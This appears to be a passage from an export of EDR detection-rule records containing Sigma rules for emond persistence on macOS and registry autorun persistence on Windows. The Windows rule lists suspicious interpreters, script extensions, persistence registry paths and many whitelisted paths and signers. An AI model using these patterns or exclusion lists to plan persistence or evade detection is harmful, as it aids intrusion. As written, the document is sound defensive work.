+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598408Z",
+  "creation_date": "2026-03-23T11:45:34.598411Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598419Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.xorrior.com/emond-persistence/",
+    "https://attack.mitre.org/techniques/T1546/014/"
+  ],
+  "name": "t1546_014_emond_persistence_created_modified.yml",
+  "content": "title: Suspicious Emond Persistence Installed or Modified\nid: 96f7f46a-fd19-45fe-b544-2d1c3ef8e50b\ndescription: |\n    Detects the creation or modification of a suspicious process by the Event monitor Daemon (emond)\n    Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.\n    It is recommended to check that the newly created process is legitimate.\nreferences:\n    - https://www.xorrior.com/emond-persistence/\n    - https://attack.mitre.org/techniques/T1546/014/\ndate: 2024/06/18\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.014\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    product: macos\n    category: filesystem_event\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        - Path|startswith:\n            - '/private/etc/emond.d/rules/'\n            - '/private/var/db/emondClients/'\n            - '/System/Library/LaunchDaemons/com.apple.emond.plist'\n        - TargetPath|startswith:\n            - '/private/etc/emond.d/rules/'\n            - '/private/var/db/emondClients/'\n            - '/System/Library/LaunchDaemons/com.apple.emond.plist'\n    is_read:\n        Kind: 'read'\n\n    condition: all of selection_* and not is_read\nlevel: medium\n#level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "96f7f46a-fd19-45fe-b544-2d1c3ef8e50b",
+  "rule_name": "Suspicious Emond Persistence Installed or Modified",
+  "rule_description": "Detects the creation or modification of a suspicious process by the Event monitor Daemon (emond)\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.\nIt is recommended to check that the newly created process is legitimate.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.014"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "970dca0d-7bda-4ab7-a60c-a23fa59e6627",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620588Z",
+  "creation_date": "2026-03-23T11:45:34.620590Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620595Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/",
+    "https://attack.mitre.org/techniques/T1547/001/"
+  ],
+  "name": "t1547_001_persistence_registry_asep.yml",
+  "content": "title: Registry Autorun Key Added\nid: 970dca0d-7bda-4ab7-a60c-a23fa59e6627\ndescription: |\n    Detects when a suspicious entry is added or modified in one of the autostart extensibility points (ASEP) in the registry, which may indicate an attempt to establish persistence.\n    Autostart extensibility points are registry locations that Windows uses to automatically execute programs during system startup or user logon. Common ASEP locations include Run and RunOnce keys under \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\" and \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\". Attackers frequently abuse these registry keys to achieve persistence by adding entries that reference malicious executables, scripts, or commands. This technique allows malware to survive system reboots and maintain a foothold on the compromised system without requiring user interaction.\n    It is recommended to investigate the process that created or modified the registry key, examine the target executable or command referenced in the registry value and verify whether the entry corresponds to legitimate software.\nreferences:\n    - https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/\n    - https://attack.mitre.org/techniques/T1547/001/\ndate: 2020/09/24\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|contains:\n            # run keys (run / runonce / runonceex / runservices / runservicesonce )\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\'\n            # covers RunOnce and RunOnce\\Setup\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\'\n            # covers RunOnceEx\\000x\\value and RunOnceEx\\000x\\Depend\\value\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\'\n\n    # This is handled by the rule fd2e4d65-00d6-4661-a5f4-ad92fe8d4540\n    filter_suspicious:\n        - Details|contains:\n            - 'rundll32.exe'\n            - 'pwsh.exe'\n            - 'powershell.exe'\n            - 'cmd.exe'\n            - 'mshta.exe'\n            - 'wscript.exe'\n            - 'cscript.exe'\n            - '\\AppData\\Roaming\\'\n            - '\\Users\\Public\\'\n            - '\\Users\\Default\\'\n            - '\\PerfLogs\\'\n        - Details|endswith:\n            # wscript\n            - '.js'\n            - '.jse'\n            - '.vbs'\n            - '.vbe'\n            - '.vb'\n            - '.vba'\n            - '.wsf'\n            - '.wsh'\n            # mshta\n            - '.hta'\n            # powershell\n            - '.ps1'\n            - '.psc1'\n            - '.psm1'\n            - '.psd1'\n            # misc, behaves like .exe but uncommon\n            - '.cmd'\n            - '.com'\n            - '.pif'\n            - '.scr'\n\n    filter_innocent_values:\n        Details:\n            - 'DWORD (0x00000000)'\n            - 'DWORD (0x00000001)'\n            - '\"\"'\n            - '1'\n            - '(Empty)'\n            - ' '\n\n    # This is handled by the rule 907e5765-e7f7-4b8f-886c-749bf315fe52\n    filter_remote:\n        ProcessCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k localService -p -s RemoteRegistry'\n            - '?:\\Windows\\system32\\svchost.exe -k LocalService'\n            - '?:\\Windows\\system32\\svchost.exe -k regsvc'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_harfanglab:\n        Details:\n            - '?:\\ProgramData\\HarfangLab\\ui\\hurukai-ui.exe --no-open'\n            - '\"?:\\ProgramData\\HarfangLab\\ui\\hurukai-ui.exe\" --no-open'\n\n    # HKU\\S-1-5-21-948834541-...HKU\\S-1-5-21-948834541-1531591341-313593124-37104\\Software\\Microsoft\\Windows\\CurrentVersion\\Group Policy Objects\\FILHETALLARD.COM{3A3A79CC-4140-4224-A5B6-382E203215F9}User\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\**delvals.XXXXX{3A3A79CC-4140-4224-bbbb-aaaaaaaa}User\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\**delvals.\n    exclusion_gpo_path:\n        Image: '?:\\Windows\\System32\\mmc.exe'\n        TargetObject|contains: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Group Policy Objects\\'\n\n    # We have a specific rule for that\n    exclusion_loadappinit:\n        TargetObject:\n            - 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\LoadAppInit_DLLs'\n            - 'HKLM\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\LoadAppInit_DLLs'\n\n    exclusion_programfiles:\n        # to avoid a lot of FP, we WL everything that is set to be launched from program files\n        # attackers rarely set a foot here, and they need admin privileges to do so anyway\n        - Details|contains:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n            - '%ProgramFiles%\\'\n            - '?:\\PROGRA~2\\'\n        - Image|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n            - '?:\\PROGRA~2\\'\n\n    exclusion_system_folder:\n        - Details|contains:\n            - '%windir%\\System32\\'\n            - '%windir%\\Syswow64\\'\n            - '%windir%\\Speech\\'\n            - '%windir%\\dwrcs\\'\n            - '%systemroot%\\System32\\'\n            - '%systemroot%\\Syswow64\\'\n            - '%systemroot%\\Speech\\'\n            - '%systemroot%\\dwrcs\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\Syswow64\\'\n            - '?:\\Windows\\Speech\\'\n            - '?:\\windows\\dwrcs\\'\n        - ProcessParentImage|startswith: '?:\\Windows\\SoftwareDistribution\\'\n\n    exclusion_known_programdata:\n        Details|contains:\n            - '?:\\ProgramData\\Lenovo\\'\n            - '?:\\ProgramData\\bomgar-scc'\n            - '?:\\ProgramData\\citrix\\'\n            - '?:\\ProgramData\\G Data\\'\n\n    exclusion_trusted_signers:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Airtame ApS'\n            - 'Barco N.V.' # ClickShare\n            - 'Bitdefender SRL'\n            - 'Bluestack Systems, Inc'\n            - 'Bomgar Corporation'\n            - 'Canva'\n            - 'Centile Telecom Applications'\n            - 'DeepL GmbH'\n            - 'DeepL SE'\n            - 'DEEZER SA'\n            - 'Dell Inc'\n            - 'Dropbox, Inc'\n            - 'Facebook, Inc.'\n            - 'Google LLC'\n            - 'GoTo Technologies USA, LLC'\n            - 'InfoCert SpA'\n            - 'JetBrains s.r.o.'\n            - 'Lenovo'\n            - 'LINE Corporation'\n            - 'Logitech Inc'\n            - 'LogMeIn, Inc.'\n            - 'Movavi Software Limited'\n            - 'nordvpn s.a.'\n            - 'ONELAUNCH TECHNOLOGIES INC.'\n            - 'Opera Norway AS'\n            - 'Realtek Semiconductor Corp.'\n            - 'RingCentral, Inc.'\n            - 'Seagull Scientific Inc.'\n            - 'Signal Messenger, LLC'\n            - 'Symantec Corporation'\n            - 'Tixeo SARL'\n            - 'Tixeo SAS'\n\n    exclusion_drivers:\n        # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\EF694770.srv\n        # C:\\WINDOWS\\system32\\spool\\DRIVERS\\x64\\3\\E_YARNMAE.EXE /FU \"?:\\ProgramData\\EPSON\\STM3\\E_S19E9.tmp\"\n        Image: '*\\Windows\\System32\\spool\\drivers\\\\*'\n\n    exclusion_image:\n        Image:\n            # c:\\users\\XXX\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe\n            - '*\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe'\n            - '?:\\Windows\\System32\\StikyNot.exe'\n            - '?:\\ProgramData\\McAfee\\Agent\\\\*'\n            - '?:\\windows\\temp\\\\????????-????-????-????-????????????\\dismhost.exe'\n            - '?:\\\\?WINDOWS.?BT\\Work\\\\????????-????-????-????-????????????\\DismHost.exe'\n            - '?:\\windows\\system32\\drvinst.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\WindowsUpdateBox.exe'\n\n    exclusion_onedrive:\n        ProcessOriginalFileName: 'OneDriveSetup.exe'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_onedrive_setup:\n        # Image: C:\\Users\\LocalAdmin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\n        # Command Line C:\\Users\\LocalAdmin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe /update /restart /updateSource:ODSU /peruser /childprocess /extractFilesWithLessThreadCount /enableExtractCabV2 /renameReplaceOneDriveExe /renameReplaceODSUExe\n        # Target Object HKU\\S-1-5-21-3308534374-32794409-4022623240-1105\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Delete Cached Standalone Update Binary\n        # Details C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\LocalAdmin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\"\n        Image|endswith:\n            - '\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe'\n            - '\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Delete Cached Standalone Update Binary'\n        Details|contains: '\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe'\n\n    exclusion_windefender:\n        Image: '*\\MsMpEng.exe'\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WindowsDefender'\n        Details|endswith: '\\Windows Defender\\MSASCuiL.exe\"'  # \"%ProgramFiles%\\Windows Defender\\MSASCuiL.exe\"\n\n    exclusion_adobe_flash:\n        # C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil32_32_0_0_101_pepper.exe\n        # C:\\Windows\\System32\\Macromed\\Flash\\FlashUtil32_32_0_0_414_Plugin.exe\n        Image:\n            - '?:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil*'\n            - '?:\\Windows\\system32\\Macromed\\Flash\\FlashUtil*'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\FlashPlayerUpdate'\n\n    exclusion_cisco_webex:\n        Image|endswith:\n            - '\\AppData\\Local\\WebEx\\ciscowebexstart.exe'\n            - '\\AppData\\Local\\WebEx\\WebEx\\Applications\\ptsrv.exe'\n            - '\\AppData\\Local\\WebEx\\WebexHost.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\CiscoMeetingDaemon'\n\n    exclusion_cisco_spark:\n        Details|endswith:\n            - '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Webex\\Webex.lnk* /minimized /autostartedWithWindows=true'\n            - 'ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Webex\\Webex.lnk* /minimized /autostartedWithWindows=true'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\CiscoSpark'\n\n    exclusion_cisco_proximity:\n        Details|endswith: '\\AppData\\Roaming\\Cisco\\Proximity\\proximity.exe\" --autostart'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Cisco Proximity'\n\n    exclusion_securityhealth:\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\securityhealth'\n        # %windir%\\system32\\securityhealthsystray.exe\n        Details: '?windir?\\system32\\securityhealthsystray.exe'\n\n    exclusion_azure_information_protection:\n        Image|endswith: 'AzInfoProtection.exe'\n        TargetObject|startswith: 'HKLM\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce'\n        Details|contains: 'AzInfoProtection.exe'\n\n    exclusion_power_plan_restore:\n        Image: '?:\\Windows\\System32\\WinSAT.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\WinSATRestorePower'\n        Details|startswith: 'powercfg'\n\n    exclusion_teams_install:\n        # image : msiexec\n        Image: '?:\\Windows\\System32\\msiexec.exe'\n        TargetObject: 'HKLM\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\TeamsMachineInstaller'\n        Details|contains: 'Teams Installer\\Teams.exe'\n\n    exclusion_userinit_ctfmon:\n        TargetObject|endswith: 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Runonce\\ctfmon.exe'\n        Details|contains: 'ctfmon.exe /n'\n\n    exclusion_mspwdregistration:\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\passwordregistration'\n        Details: '?:\\windows\\system32\\mspwdregistration.exe'\n\n    # chromium, but unsigned\n    exclusion_chromium_appdata:\n        Image|endswith: '\\AppData\\Local\\chromium\\Application\\chrome.exe'\n        Details|contains: '\\AppData\\Local\\chromium\\Application\\chrome.exe'\n        TargetObject: '*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\GoogleChromeAutoLaunch_*'\n\n    exclusion_msedge_appdata:\n        Image|endswith: '\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe'\n        Details|contains: '\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe'\n        TargetObject: '*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\MicrosoftEdgeAutoLaunch_*'\n\n    exclusion_yandex_appdata:\n        Image|endswith: '\\AppData\\Local\\Yandex\\YandexBrowser\\Application\\browser.exe'\n        Details|contains: '\\AppData\\Local\\Yandex\\YandexBrowser\\Application\\browser.exe'\n        TargetObject: '*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\GoogleChromeAutoLaunch_*'\n\n    exclusion_avast_appdata:\n        Image|endswith: '\\AppData\\Local\\AVAST Software\\Browser\\Application\\AvastBrowser.exe'\n        Details|contains: '\\AppData\\Local\\AVAST Software\\Browser\\Application\\AvastBrowser.exe'\n        TargetObject: '*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\AvastBrowserAutoLaunch_*'\n\n    exclusion_citrix_multiple:\n        Image: '?:\\Windows\\System32\\msiexec.exe'\n        ProcessSignature: 'Microsoft Windows'\n        Details|endswith:\n            - '\\AppData\\Local\\Citrix\\ICA Client\\concentr.exe\" /startup'\n            - '\\AppData\\Local\\Citrix\\ICA Client\\Receiver\\AnalyticsSrv.exe\" /Startup'\n\n    exclusion_discord:\n        TargetObject|endswith: 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Discord'\n        # ?:\\ProgramData\\XXXXX\\Discord\\Update.exe --processStart Discord.exe --process-start-args --start-minimized\n        # C:\\Users\\XXXX\\AppData\\Local\\Discord\\Update.exe --processStart Discord.exe\n        Details|contains|all:\n            - 'Discord\\Update.exe'\n            - '--processStart Discord.exe'\n\n    exclusion_utorrent:\n        TargetObject|endswith:\n            - 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\uTorrent'\n            - 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ut'  # seen from 2021 ?\n        Details|contains: 'AppData\\Roaming\\uTorrent\\uTorrent.exe'\n\n    exclusion_viber:\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Viber'\n        Details|contains: 'AppData\\Local\\Viber\\Viber.exe'\n\n    exclusion_rocketdock:\n        Image: '*\\rocketdock\\rocketdock.exe'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\rocketdock'\n\n    exclusion_vmware_thaw:\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\symcprovidercleanup'\n        Details: '?:\\windows\\post-thaw-script.bat'\n\n    exclusion_rtscm:\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\rtscm'\n        Details: 'rtscm64.exe'\n\n    exclusion_stardock_fences:\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\fences'\n        Details|contains: '\\fences.exe /startup'\n\n    exclusion_opera:\n        Image|endswith: '\\assistant_installer.exe'\n        Details|endswith: '\\AppData\\Local\\Programs\\Opera\\assistant\\browser_assistant.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Opera Browser Assistant'\n\n    exclusion_opera_launcher:\n        Image|endswith:\n            - '\\AppData\\Local\\Programs\\Opera\\opera.exe'\n            - '\\AppData\\Local\\Programs\\Opera\\\\*\\opera.exe'\n        Details|endswith:\n            - '\\AppData\\Local\\Programs\\Opera\\launcher.exe'\n            - '\\AppData\\Local\\Programs\\Opera\\opera.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Opera Stable'\n\n    exclusion_opera_gx:\n        Image|endswith: '\\AppData\\Local\\Programs\\Opera GX\\opera.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Opera GX Stable'\n        Details|contains: '\\AppData\\Local\\Programs\\Opera GX\\launcher.exe'\n\n    exclusion_brave:\n        Image: '*\\AppData\\Local\\BraveSoftware\\Brave-Browser\\Application\\brave.exe'\n        TargetObject: '*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\GoogleChromeAutoLaunch_????????????????????????????????'\n\n    exclusion_braveupdate:\n        Image|endswith: '\\BraveUpdate.exe'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\BraveSoftware Update'\n\n    exclusion_runonce_known_fp:\n        TargetObject:\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\\\?????????-????-????-????-?????????????'  # one ? at begining and end to match { and }\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\RollbackOnline'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\GrpConv'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\InstallShieldSetup'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\DXTempFolder'  # DirectX setup\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\IM_Resume'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\ ISSetupPrerequisistes' # indeed a space before ISS\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\  ISSetupPrerequisistes' # indeed 2 spaces before ISS\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\WAB Migrate'  # details : %ProgramFiles%\\Windows Mail\\wab.exe /Upgrade\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\wextract_cleanup*'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\msedge_cleanup*'\n            # HKU\\XXXX\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Application Restart #0   set by csrss.exe\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Application Restart *'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\NetworkResetPostReboot'  # set by C:\\Windows\\System32\\sdiagnhost.exe / contains \"netsh.exe trace postreset\"\n            - '*\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Adobe Speed Launcher' # set by C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM.exe\n\n    exclusion_run_known_fp:\n        TargetObject:\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\ISUSPM'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\OneDriveSetup'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\OneDrive'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\Lync'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\GrpConv'          # (cisco any connect secure mobility client)\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\GoogleDriveFS'    # google Drive File Stream\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\Cisco Jabber'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\Zoom'             # Zoom\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\PulseSecure'      # VPN pulse secure\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\VUEMUIAgent-Launcher'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\AdobeAAMUpdater*'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\F5 Networks VPN Cleanup*'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\Adobe ARM'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\PTOneClick'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\PTIM.exe'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\Sidebar'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\Greenshot'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\AutorunsDisabled\\\\*'   # (entries disabled by autoruns)\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\com.squirrel.Teams.Teams'  # MS teams\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\TeamsMachineUninstallerLocalAppData'  # MS teams\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\TeamsMachineUninstallerProgramData'  # MS teams (details %ProgramData%\\Microsoft\\Teams\\Update.exe --uninstall --msiUninstall --source=default)\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\PSUAMain'  # Panda antivirus (details \"C:\\Program Files (x86)\\Panda Security\\WAC\\PSUAMain.exe\" /LaunchSysTray )\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\com.squirrel.slack.slack'  # slack\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\com.squirrel.lifen.Lifen'  # lifen\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\Microsoft Edge Update'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\RTKUGUI'  #  ( pointe vers rtkugui64.exe dans system32)\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\DymoQuickPrint'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\TortoiseSVN Monitor'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\ISM'            # (intel software manager)\n            # HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ultracopier\n            # HKU\\S-....\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ultracopier\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\ultracopier'  # supercopier software\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\Dropbox'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\Dropbox Update'\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\RtkAudUService'  #  C:\\Windows\\System32\\DriverStore\\FileRepository\\hdxsstm.inf_amd64_1a1e8196b6801ccf\\RtkAudUService64.exe\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\Spotify'  # C:\\Users\\XXXXX\\AppData\\Roaming\\Spotify\\Spotify.exe --autostart --minimized\n            - '*\\Microsoft\\Windows\\CurrentVersion\\Run\\Microsoft.Lists'  # C:\\Users\\XXXXX\\AppData\\Local\\Microsoft\\OneDrive\\21.180.0905.0007\\Microsoft.SharePoint.exe\n            - '*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\CapsLock Indicator'\n\n    exclusion_citrix_ica_client:\n        Image|endswith: '\\Windows\\System32\\msiexec.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\ConnectionCenter'\n        Details|endswith: 'concentr.exe\" /startup'\n\n    exclusion_clickshare:\n        TargetObject|endswith: 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ClickShare'\n        Details|contains: 